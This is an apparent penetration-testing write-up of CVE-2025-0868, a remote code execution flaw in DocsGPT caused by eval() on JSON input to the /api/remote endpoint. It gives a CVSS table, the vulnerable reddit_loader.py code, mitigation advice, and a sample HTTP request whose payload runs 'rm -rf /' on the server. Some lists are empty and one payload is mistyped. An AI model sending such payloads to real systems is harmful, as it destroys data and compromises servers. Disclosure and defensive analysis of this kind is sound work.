
Detailed penetration testing report and exploit demonstration for CVE-2025-0868, a critical RCE in DocsGPT via unsafe eval(), including lab setup, payload crafting, and mitigation strategies.
A critical Remote Code Execution (RCE) flaw (CVE-2025-0868) was disclosed on February 20, 2025, in the open-source DocsGPT library, caused by unsafe use of eval() when parsing JSON payloads.
Key Details:
This vulnerability permits attackers to run arbitrary Python code via the /api/remote endpoint. DocsGPT is an open-source generative-AI tool that enables querying project documentation using GPT models.
| Category | Details |
|---|---|
| CVE ID | CVE-2025-0868 |
| Affected Software | DocsGPT v0.8.1 – v0.12.0 |
| Vulnerability Type | Remote Code Execution (RCE) |
| Attack Vector | Network-based (HTTP request to /api/remote) |
| Root Cause | Unsafe use of eval() on untrusted JSON input |
| Impact | Full server compromise (arbitrary command execution) |
| CWE Mapping | CWE-77: Improper Neutralization of Special Elements used in a Command |
Vector: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Base Score: 9.3 (CRITICAL)
Exploitability Metrics:
Impact Metrics:
The vulnerability exists in reddit_loader.py where user input is processed using the unsafe eval() function:
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
This allows an attacker to execute malicious Python code inside JSON fields: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
To exploit this vulnerability, we recreated the vulnerable environment and a safe working space using:
We developed a Python script that executes Remote Code Execution (RCE) by sending a malicious payload to the /api/remote endpoint, exploiting the unsafe use of eval().
/api/remote endpoint./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Update to DocsGPT v0.12.1 and letter versions
Replace eval() with json.loads().
Link:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9